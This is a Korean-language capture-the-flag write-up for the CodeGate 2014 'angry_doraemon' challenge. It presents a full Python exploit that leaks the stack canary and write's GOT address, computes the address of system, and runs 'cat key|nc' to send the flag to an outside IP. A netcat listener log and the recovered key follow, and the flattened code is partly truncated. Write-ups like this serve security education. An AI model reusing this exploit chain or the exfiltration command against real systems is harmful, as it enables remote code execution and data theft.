Binary :
angry_doraemon_c927b1681064f78612ce78f6b93c14d9
문제엔 두부분으로 공격할 수 있다.
1. Stack Based Buffer Overflow
2. Pointer
1번은 bof 취약점이 있는 부분을 공격하면 되고, 2번은 4바이트의 값을 받고 그곳으로 점프한다. 하지만 필터링을 우회해야 한다.
예를들어서 AAAA 를 넣으면 0x41414141 로 점프하는 방법이다.
어떤 방법으로든 할순 있겠지만 아이디어가 떠오르지 않아 BOF 방향으로 진행했다.
그리고 이문제를 풀면서 스택쿠키가 4바이트이고 그 값이 똑같으면 우회할 수 있다는 것을 처음 알게 되었다.
이하 Exploit
from socket import *
import struct
import time
ip = "58.229.183.18"
#ip = "192.168.0.109"
port = 8888
p = lambda x : struct.pack(" up = lambda x : struct.unpack(" read = 0x08048620 write = 0x080486e0 write_got = 0x0804b040 freespace = 0x0804bc00 f_throwmouse = 0x08048fc6 cmd = "cat key|nc 220.117.247.200 31333\x00" pppr = 0x080495bd #write : e0910 #system : 41260 #write - system = 9F6B0 def stage1_payload(canary): payload = "y"*10 payload = canary payload = "A"*12 payload = p(write) payload = p(pppr) payload = p(4) payload = p(write_got) payload = p(4) payload = p(f_throwmouse) payload = "AAAA" payload = p(4) return payload def stage2_payload(canary, write_ptr): system = write_ptr - 0x9f6b0 payload = "y"*10 payload = canary payload = "A" *12 payload = p(read) payload = p(pppr) payload = p(4) payload = p(freespace) payload = p(len(cmd)) payload = p(system) payload = "AAAA" payload = p(freespace) return payload ################################################################# #####################[ get canary ]]#################### ################################################################# s = socket(AF_INET, SOCK_STREAM) s.connect((ip, port)) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) raw_input("[*] Get canary. . .") s.send("4\n") print s.recv(0x1024) s.send("y"*11) canary = s.recv(0x1024)[12 11:]#.encode("hex") canary = canary[:len(canary)-3] print "canary : " canary canary = "\x00" canary[:3] # result print "canary result : " canary[::-1].encode("hex") s.close() ################################################################# #####################[ staged_exploit ]]#################### ################################################################# s = socket(AF_INET, SOCK_STREAM) s.connect((ip, port)) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) raw_input("[*] Exploit. . . .") s.send("4\n") print s.recv(0x1024) print stage1_payload(canary) s.send(stage1_payload(canary))# "\x11\xe8\x10\xc3" w_got = up(s.recv(4)) print "[!] Leaked write_got : " hex(w_got) print s.recv(0x1024) # r u sure? s.send(stage2_payload(canary, w_got)) time.sleep(1) s.send(cmd) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) print s.recv(0x1024) s.close() ################################################################# raw_input("[*]All Done.") """ C:\Users\Administrator>nc -lvp 31333 listening on [any] 31333 ... 58.229.183.18: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.0.93] from (UNKNOWN) [58.229.183.18] 46737: NO_DATA CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP """
Exploit은 총 3군데로 나눌수 있는데
첫 번째는 스택 쿠키를 가져오는 부분이고 [fork() 되어있기 때문에 항상 카나리 값은 고정이다.]
두 번째는 write_got 포인터를 Leak 시켜서 가져오고
세 번째는 leak 시킨 포인터를 이용하여 system 함수를 계산해서 Command Execution을 한다.
Key : CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP
CodeGate 2014 PreQual CloneTechnique (2) | 2014.02.25 |
---|---|
CodeGate 2014 PreQual 120 Write Up (0) | 2014.02.25 |
CodaGate 2014 PreQual WebProxy write-up (0) | 2014.02.25 |
2014 CodeGate Junior PreQual - Nuclear [exploit] (12) | 2014.02.16 |
2014 CodeGate Junior PreQual - Closure, RunCommand (5) | 2014.02.16 |